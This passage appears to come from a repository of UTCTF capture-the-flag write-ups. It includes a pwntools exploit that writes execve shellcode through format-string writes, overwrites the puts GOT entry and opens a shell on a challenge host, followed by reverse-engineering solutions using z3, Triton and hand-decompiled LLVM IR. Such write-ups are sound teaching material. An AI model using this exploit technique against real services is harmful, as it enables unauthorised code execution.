| ``` 45 | 46 | Since the buffer on stack, we have simple write primitive 47 | 48 | ``` 49 | Arch: amd64-64-little 50 | RELRO: Partial RELRO 51 | Stack: No canary found 52 | NX: NX disabled 53 | PIE: No PIE (0x400000) 54 | RWX: Has RWX segments 55 | ``` 56 | 57 | Since the binary has write execute (????) segment. We just write our shellcode from [here](http://shell-storm.org/shellcode/files/shellcode-806.php) to specified segment location. 58 | 59 | After that, we overwrite GOT puts with address of our shellcode and jump to it :) 60 | 61 | ```python 62 | from pwn import * 63 | import sys 64 | import binascii 65 | 66 | base = 0x601101 67 | 68 | # jump on me 69 | # http://shell-storm.org/shellcode/files/shellcode-806.php 70 | shellcode = "\x31\xc0\x90\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" 71 | 72 | class Exploit: 73 | def __init__(self, debug=False): 74 | if debug: 75 | self.r = process('pwnable') 76 | else: 77 | self.r = remote('binary.utctf.live', 9003) 78 | self.count = 0 79 | 80 | def send_data(self, data): 81 | self.r.sendlineafter('What would you like to do?\n', data) 82 | 83 | def write_short(self, addr, val): 84 | payload = '' 85 | addr_to_str = '{}'.format(val).zfill(10) 86 | payload += '%{}x%9$hn'.format(addr_to_str) 87 | payload += 'A' * 7 88 | print(self.count) 89 | self.count += 1 90 | 91 | payload += p64(addr) 92 | self.send_data(payload) 93 | 94 | def write_qword(self, addr, val): 95 | payload = '' 96 | addr_to_str = '{}'.format(val).zfill(10) 97 | payload += '%{}x%9$lln'.format(addr_to_str) 98 | payload += 'A' * 6 99 | payload += p64(addr) 100 | self.send_data(payload) 101 | 102 | 103 | def attach(self): 104 | gdb.attach(self.r, 'b*0x400767') 105 | 106 | def run(self): 107 | # shellcode from above 108 | self.write_short(0x601101, 0xc031) 109 | self.write_short(0x601103, 0x4890) 110 | self.write_short(0x601105, 0xd1bb) 111 | self.write_short(0x601107, 0x969d) 112 | self.write_short(0x601109, 0xd091) 113 | self.write_short(0x60110b, 0x978c) 114 | self.write_short(0x60110d, 0x48ff) 115 | self.write_short(0x60110f, 0xdbf7) 116 | self.write_short(0x601111, 0x5453) 117 | self.write_short(0x601113, 0x995f) 118 | self.write_short(0x601115, 0x5752) 119 | self.write_short(0x601117, 0x5e54) 120 | self.write_short(0x601119, 0x9090) 121 | self.write_short(0x60111b, 0x3bb0) 122 | self.write_short(0x60111d, 0x050f) 123 | 124 | print('overwrite got') 125 | self.write_qword(0x601018, 0x601101) 126 | self.r.interactive() 127 | 128 | def main(): 129 | exp = Exploit() 130 | #exp.attach() 131 | exp.run() 132 | 133 | if __name__ == "__main__": 134 | sys.exit(main()) 135 | 136 | ``` 137 | 138 | 139 | 140 | ``` 141 | $ ls 142 | flag.txt 143 | $ cat flag.txt 144 | utflag{wtf_i_h4d_n0_buffer_overflows} 145 | ``` 146 | 147 | -------------------------------------------------------------------------------- /utctf/rev/Crack the Heart/README.md: -------------------------------------------------------------------------------- 1 | # Crack the Heart (56 solves) 2 | 3 | Description: 4 | 5 | > Convince your crush to go out with you. 6 | > 7 | > Note: the flag is what you need to say to convince him/her to go out with you. 8 | > 9 | > *by jitterbug* 10 | 11 | 12 | 13 | We are given an Elf64 file. The binary is packed with custom **virtual machine** where register **rcx** holds "bytecode" and it has ~20 handlers. 14 | 15 | ``` 16 | .text:0000000000401000 start proc near ; DATA XREF: 17 | .text:0000000000401000 ; LOAD:0000000000400088↑o 18 | .text:0000000000401000 mov rcx, offset virtual_machine 19 | .text:000000000040100A mov rdx, [rcx] 20 | .text:000000000040100D lea rcx, [rcx+8] ; inc pc 21 | .text:0000000000401011 jmp rdx 22 | .text:0000000000401011 start endp 23 | .text:0000000000401011 24 | .text:0000000000401011 _text ends 25 | .text:0000000000401011 26 | ``` 27 | 28 | Solution: 29 | 30 | We set hardware breakpoints on access on our entered flag and hit run. 31 | 32 | ![dummy_flag](images/dummy_flag.png) 33 | 34 | We notice one access: 35 | 36 | ``` 37 | .data:0000000000402012 get_byte_from_rsi: 38 | .data:0000000000402012 mov al, [rsi+r15] ; al holds one byte from our input 39 | .data:0000000000402016 jmp next_ 40 | ``` 41 | 42 | Stepping a bit further reveals this code: 43 | 44 | ``` 45 | .data:00000000004020A7 xor bl, al ; al - our input, bl - unknown value 46 | .data:00000000004020A9 xor r15, r15 47 | .data:00000000004020AC mov rdx, [rcx] 48 | .data:00000000004020AF lea rcx, [rcx+8] 49 | .data:00000000004020B3 jmp rdx 50 | ``` 51 | 52 | And at the end: 53 | 54 | ``` 55 | .data:0000000000402137 mov al, [r10+r11]; al - unknown value 56 | .data:000000000040213B sub al, bl ; bl holds xored value 57 | .data:000000000040213D jz short next 58 | .data:000000000040213F mov ebp, 1 ; ebp = 1 - fail 59 | .data:0000000000402144 next: 60 | .data:0000000000402144 mov rdx, [rcx] 61 | .data:0000000000402147 lea rcx, [rcx+8] 62 | .data:000000000040214B jmp rdx 63 | ``` 64 | 65 | If ebp is 1 we exit with badboy message. 66 | 67 | Solution: 68 | 69 | We set breakpoints on access on every char of our input and write down those unknown values. 70 | 71 | I did it manually btw (teach me how to debug with idapython :( ) 72 | 73 | ```python 74 | from z3 import * 75 | import sys 76 | 77 | magics = [ 78 | (0x04, 0x71), 79 | (0x91, 0xe5), 80 | (0x05, 0x63), 81 | (0x02, 0x6e), 82 | (0x06, 0x67), 83 | (0xcb, 0xac), 84 | (0x64, 0x1f), 85 | (0x61, 0x16), 86 | (0xd3, 0xbb), 87 | (0xcf, 0xae), 88 | (0x3b, 0x4f), 89 | (0x4b, 0x14), 90 | (0x67, 0x56), 91 | (0x4b, 0x2d), 92 | (0x11, 0x3f), 93 | (0xbd, 0x93), 94 | (0xb5, 0x9b), 95 | (0x29, 0x07), 96 | (0x3b, 0x52), 97 | (0x97, 0xc8), 98 | (0xcd, 0xa0), 99 | (0x56, 0x37), 100 | (0x70, 0x00), 101 | (0xc5, 0xb5), 102 | (0xf1, 0xc2), 103 | (0xc4, 0xa0), 104 | (0xa0, 0xff), 105 | (0xc0, 0xad), 106 | (0xf1, 0xa8), 107 | (0x8f, 0xd0), 108 | (0xda, 0xb7), 109 | (0xff, 0xcc), 110 | (0x7f, 0x12), 111 | (0x14, 0x24), 112 | (0x8b, 0xf9), 113 | (0x92, 0xeb), 114 | (0xce, 0x91), 115 | (0x87, 0xe9), 116 | (0xae, 0x9d), 117 | (0x10, 0x68), 118 | (0x99, 0xed), 119 | (0x16, 0x49), 120 | (0xe9, 0x9d), 121 | (0x96, 0xf9), 122 | (0xc4, 0x9b), 123 | (0xa6, 0xdf), 124 | (0xaf, 0x9f), 125 | (0xca, 0xbf), 126 | (0xdd, 0xaf), 127 | (0xd6, 0xa5), 128 | (0xfd, 0xd3), 129 | (0xee, 0xc0), 130 | (0x05, 0x2b), 131 | (0x5d, 0x73), 132 | (0xe6, 0x87), 133 | (0x55, 0x3d), 134 | (0x29, 0x48), 135 | (0x23, 0x4b), 136 | (0xda, 0xbb), 137 | (0xfd, 0x95), 138 | (0xca, 0xab), 139 | (0x8a, 0xa6), 140 | (0xa6, 0x86), 141 | (0xce, 0xa4), 142 | (0x71, 0x1a), 143 | (0xbc, 0xd6), 144 | (0xfc, 0x97), 145 | (0x4b, 0x65), 146 | (0x72, 0x5c), 147 | (0xc1, 0xef), 148 | (0x4a, 0x64), 149 | (0x29, 0x5c), 150 | (0xcb, 0xa5), 151 | (0x8d, 0xe1), 152 | (0x54, 0x31), 153 | (0x44, 0x37), 154 | (0x9a, 0xe9), 155 | (0x9b, 0xbb), 156 | (0x78, 0x43), 157 | (0x9f, 0xb6), 158 | (0x9e, 0xa1), 159 | (0xdf, 0xa2), 160 | ] 161 | 162 | def main(): 163 | s = Solver() 164 | 165 | flag_len = len(magics) 166 | 167 | def encode(magics, key): 168 | return (magics[0] - (key ^ magics[1])) 169 | 170 | for i in range(flag_len): 171 | globals()['b%d' % i] = BitVec('b%d' % i, 8) 172 | s.add(encode(magics[i], globals()['b%d' % i]) == 0) 173 | 174 | print(s.check()) 175 | while s.check() == sat: 176 | model = s.model() 177 | block = [] 178 | out = '' 179 | for i in range(flag_len): 180 | c = globals()['b%i' % i] 181 | out += chr(model[c].as_long()) 182 | block.append(c != model[c]) 183 | s.add(Or(block)) 184 | print(out) 185 | 186 | if __name__ == "__main__": 187 | sys.exit(main()) 188 | 189 | ``` 190 | 191 | 192 | 193 | yields the flag 194 | 195 | ``` 196 | utflag{what_1f....i_mapp3d_mY_m3m0ry_n3xt_to_y0urs....ahahaha, jkjk....unless ;)?} 197 | ``` 198 | 199 | -------------------------------------------------------------------------------- /utctf/rev/Crack the Heart/crackme2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/utctf/rev/Crack the Heart/crackme2 -------------------------------------------------------------------------------- /utctf/rev/Crack the Heart/images/dummy_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/utctf/rev/Crack the Heart/images/dummy_flag.png -------------------------------------------------------------------------------- /utctf/rev/Crack the Heart/run.py: -------------------------------------------------------------------------------- 1 | ## $ python3 run.py crackme2 2 | ## [+] Loading 0x400000 - 0x4000e8 3 | ## [+] Loading 0x401000 - 0x401013 4 | ## [+] Loading 0x402000 - 0x4149ad 5 | ## [+] Starting emulation. 6 | ## [+] ptrace hooked 7 | ## [+] Write hooked 8 | ## Why should I go out with you? 9 | ## [+] Read hooked 10 | ## [+] asking for 83 bytes 11 | ## [+] Write hooked 12 | ## uWu very cool! 13 | ## [+] exit hooked 14 | ## utflag{what_1f....i_mapp3d_mY_m3m0ry_n3xt_to_y0urs....ahahaha, jkjk....unless ;)?} 15 | 16 | import string 17 | import struct 18 | import sys 19 | import lief 20 | 21 | from triton import * 22 | 23 | DEBUG = True 24 | 25 | # Memory mapping 26 | BASE_STACK = 0x9fffffff 27 | 28 | def debug(s): 29 | if DEBUG: print(s) 30 | 31 | 32 | def WriteHandler(ctx): 33 | debug('[+] Write hooked') 34 | 35 | # Get arguments 36 | buf = ctx.getConcreteRegisterValue(ctx.registers.rsi) 37 | size = ctx.getConcreteRegisterValue(ctx.registers.rdx) 38 | 39 | s = str() 40 | for index in range(size): 41 | c = chr(ctx.getConcreteMemoryValue(buf+index)) 42 | if c not in string.printable: c = "" 43 | s += c 44 | 45 | sys.stdout.write(s) 46 | return size 47 | 48 | 49 | def ReadHandler(ctx): 50 | debug('[+] Read hooked') 51 | 52 | buf = ctx.getConcreteRegisterValue(ctx.registers.rsi) 53 | size = ctx.getConcreteRegisterValue(ctx.registers.rdx) 54 | 55 | debug(f'[+] asking for {size} bytes') 56 | 57 | # fill dummy input 58 | inp = "a" * (size - 1) + '\x00' 59 | ctx.setConcreteMemoryAreaValue(buf, inp.encode()) 60 | 61 | # symbolize size bytes 62 | for i in range(size): 63 | # ctx.taintMemory(MemoryAccess(buf + i, CPUSIZE.BYTE)) 64 | var = ctx.symbolizeMemory(MemoryAccess(buf + i, CPUSIZE.BYTE)) 65 | return size 66 | 67 | def ptraceHandler(ctx): 68 | debug('[+] ptrace hooked') 69 | return 0 70 | 71 | def exitHandler(ctx): 72 | debug('[+] exit hooked') 73 | 74 | ast = ctx.getAstContext() 75 | pco = ctx.getPathPredicate() 76 | # Ask for a new model which set all symbolic variables to ascii printable characters 77 | mod = ctx.getModel(ast.land( 78 | [pco] + 79 | [ast.variable(ctx.getSymbolicVariable(x)) <= 0x7e for x in range(0, 33)] 80 | )) 81 | 82 | flag = str() 83 | for k, v in sorted(mod.items()): 84 | flag += chr(v.getValue()) 85 | print(flag) 86 | sys.exit(0) 87 | 88 | custom_relocs = [ 89 | (0x40218B, ReadHandler), 90 | (0x402166, WriteHandler), 91 | (0x4021EA, ptraceHandler), 92 | (0x4021C4, exitHandler) 93 | ] 94 | 95 | def hookingHandler(ctx): 96 | pc = ctx.getConcreteRegisterValue(ctx.registers.rip) 97 | 98 | for rel in custom_relocs: 99 | if rel[0] == pc: 100 | ret_val = rel[1](ctx) 101 | if ret_val is not None: 102 | ctx.concretizeRegister(ctx.registers.rax) 103 | ctx.setConcreteRegisterValue(ctx.registers.rax, ret_val) 104 | 105 | 106 | # Emulate the binary. 107 | def emulate(ctx, pc): 108 | count = 0 109 | while pc: 110 | opcodes = ctx.getConcreteMemoryAreaValue(pc, 16) 111 | 112 | instruction = Instruction() 113 | instruction.setOpcode(opcodes) 114 | instruction.setAddress(pc) 115 | 116 | count += 1 117 | 118 | if ctx.processing(instruction) == False: 119 | debug('[-] Instruction not supported: %s' %(str(instruction))) 120 | break 121 | 122 | if instruction.getType() == OPCODE.X86.HLT: 123 | break 124 | 125 | # check condition 126 | # sub, al, bl 127 | if instruction.getAddress() == 0x40213B: 128 | zf = ctx.getSymbolicRegister(ctx.registers.zf).getAst() 129 | pco = ctx.getPathPredicate() 130 | ast = ctx.getAstContext() 131 | # find model that fits the equation 132 | mod = ctx.getModel(ast.land([pco, zf == 1])) 133 | # set every variable to its desired value 134 | for k, v in list(mod.items()): 135 | ctx.setConcreteVariableValue(ctx.getSymbolicVariable(k), v.getValue()) 136 | 137 | hookingHandler(ctx) 138 | 139 | pc = ctx.getConcreteRegisterValue(ctx.registers.rip) 140 | 141 | debug('[+] Instruction executed: %d' %(count)) 142 | return 143 | 144 | def run(ctx, binary): 145 | # Concretize previous context 146 | ctx.concretizeAllMemory() 147 | ctx.concretizeAllRegister() 148 | 149 | # Define a fake stack 150 | ctx.setConcreteRegisterValue(ctx.registers.rbp, BASE_STACK) 151 | ctx.setConcreteRegisterValue(ctx.registers.rsp, BASE_STACK) 152 | 153 | # Let's emulate the binary from the entry point 154 | debug('[+] Starting emulation.') 155 | emulate(ctx, binary.entrypoint) 156 | debug('[+] Emulation done.') 157 | return 158 | 159 | def loadBinary(ctx, binary): 160 | # Map the binary into the memory 161 | phdrs = binary.segments 162 | for phdr in phdrs: 163 | size = phdr.physical_size 164 | vaddr = phdr.virtual_address 165 | debug('[+] Loading 0x%06x - 0x%06x' %(vaddr, vaddr+size)) 166 | ctx.setConcreteMemoryAreaValue(vaddr, phdr.content) 167 | return 168 | 169 | 170 | def main(): 171 | if len(sys.argv) != 2: 172 | print('[-] Usage: python3 run.py ') 173 | sys.exit(-1) 174 | 175 | ctx = TritonContext() 176 | ctx.setArchitecture(ARCH.X86_64) 177 | 178 | ctx.setMode(MODE.ALIGNED_MEMORY, True) 179 | ctx.setMode(MODE.ONLY_ON_SYMBOLIZED, True) 180 | 181 | ctx.setAstRepresentationMode(AST_REPRESENTATION.PYTHON) 182 | 183 | binary = lief.parse(sys.argv[1]) 184 | loadBinary(ctx, binary) 185 | 186 | run(ctx, binary) 187 | return 0 188 | 189 | if __name__ == "__main__": 190 | sys.exit(main()) 191 | -------------------------------------------------------------------------------- /utctf/rev/IR/README.md: -------------------------------------------------------------------------------- 1 | # IR (49 solves) 2 | 3 | Description: 4 | 5 | > We found this snippet of code on our employee's laptop. It looks really scary. 6 | > 7 | > Can you figure out what it does? 8 | > 9 | > Written by `hk` 10 | 11 | We are given a program source code in **llvm** language. 12 | 13 | ``` 14 | 15 | @check = dso_local global [64 x i8] c"\03\12\1A\17\0A\EC\F2\14\0E\05\03\1D\19\0E\02\0A\1F\07\0C\01\17\06\0C\0A\19\13\0A\16\1C\18\08\07\1A\03\1D\1C\11\0B\F3\87\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\05", align 16, !dbg !0 16 | @MAX_SIZE = dso_local global i32 64, align 4, !dbg !8 17 | 18 | define dso_local i32 @_Z7reversePc(i8*) #0 !dbg !19 { 19 | %2 = alloca i32, align 4 20 | %3 = alloca i8*, align 8 21 | %4 = alloca i32, align 4 22 | %5 = alloca i32, align 4 23 | %6 = alloca i32, align 4 24 | store i8* %0, i8** %3, align 8 25 | call void @llvm.dbg.declare(metadata i8** %3, metadata !24, metadata !DIExpression()), !dbg !25 26 | call void @llvm.dbg.declare(metadata i32* %4, metadata !26, metadata !DIExpression()), !dbg !28 27 | store i32 0, i32* %4, align 4, !dbg !28 28 | br label %7, !dbg !29 29 | ... 30 | ... 31 | ... 32 | ``` 33 | 34 | I tried compiling it back using clang but no luck. Author probably wanted us to do it by hand. 35 | 36 | So, you go here https://llvm.org/docs/LangRef.html. You learn what every instruction does. You come back and write it back to C code. 37 | 38 | After some time I came up with this code: 39 | 40 | ```c++ 41 | #define MAX_SIZE 64 42 | char password[64] = {}; 43 | const char flag[MAX_SIZE] = "\x03\x12\x1A\x17\x0A\xEC\xF2\x14\x0E\x05\x03\x1D\x19\x0E\x02\x0A\x1F\x07\x0C\x01\x17\x06\x0C\x0A\x19\x13\x0A\x16\x1C\x18\x08\x07\x1A\x03\x1D\x1C\x11\x0B\xF3\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05"; 44 | int main() 45 | { 46 | for (int i = 0; i < MAX_SIZE; i++) 47 | password[i] = password[i] + 5; 48 | 49 | for (int i = 0; i < MAX_SIZE - 1; i++) 50 | { 51 | char c_1 = password[i + 1]; 52 | char c_0 = password[i]; 53 | password[i] = c_0 ^ c_1; 54 | } 55 | return 0; 56 | } 57 | ``` 58 | 59 | 60 | 61 | Solution: 62 | 63 | ```python 64 | import sys 65 | 66 | def main(): 67 | flag = "\x03\x12\x1A\x17\x0A\xEC\xF2\x14\x0E\x05\x03\x1D\x19\x0E\x02\x0A\x1F\x07\x0C\x01\x17\x06\x0C\x0A\x19\x13\x0A\x16\x1C\x18\x08\x07\x1A\x03\x1D\x1C\x11\x0B\xF3\x87" 68 | out = "" 69 | last = 0 # null 70 | for j in range(len(flag) - 1, -1, -1): 71 | for i in range(32, 127): 72 | if ((i + 5) ^ (last + 5)) == ord(flag[j]): 73 | out += chr(i) 74 | last = i 75 | break 76 | print(out[::-1]) 77 | 78 | if __name__ == "__main__": 79 | sys.exit(main()) 80 | ``` 81 | 82 | Since we know that the last byte in out input is NULL (string terminator) 83 | 84 | We Iterate from end to beginning and get one byte at the time. 85 | 86 | ``` 87 | utflag{machine_agnostic_ir_is_wonderful} 88 | ``` 89 | 90 | -------------------------------------------------------------------------------- /utctf/rev/IR/chal.e: -------------------------------------------------------------------------------- 1 | 2 | @check = dso_local global [64 x i8] c"\03\12\1A\17\0A\EC\F2\14\0E\05\03\1D\19\0E\02\0A\1F\07\0C\01\17\06\0C\0A\19\13\0A\16\1C\18\08\07\1A\03\1D\1C\11\0B\F3\87\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\05", align 16, !dbg !0 3 | @MAX_SIZE = dso_local global i32 64, align 4, !dbg !8 4 | 5 | define dso_local i32 @_Z7reversePc(i8*) #0 !dbg !19 { 6 | %2 = alloca i32, align 4 7 | %3 = alloca i8*, align 8 8 | %4 = alloca i32, align 4 9 | %5 = alloca i32, align 4 10 | %6 = alloca i32, align 4 11 | store i8* %0, i8** %3, align 8 12 | call void @llvm.dbg.declare(metadata i8** %3, metadata !24, metadata !DIExpression()), !dbg !25 13 | call void @llvm.dbg.declare(metadata i32* %4, metadata !26, metadata !DIExpression()), !dbg !28 14 | store i32 0, i32* %4, align 4, !dbg !28 15 | br label %7, !dbg !29 16 | 17 | ;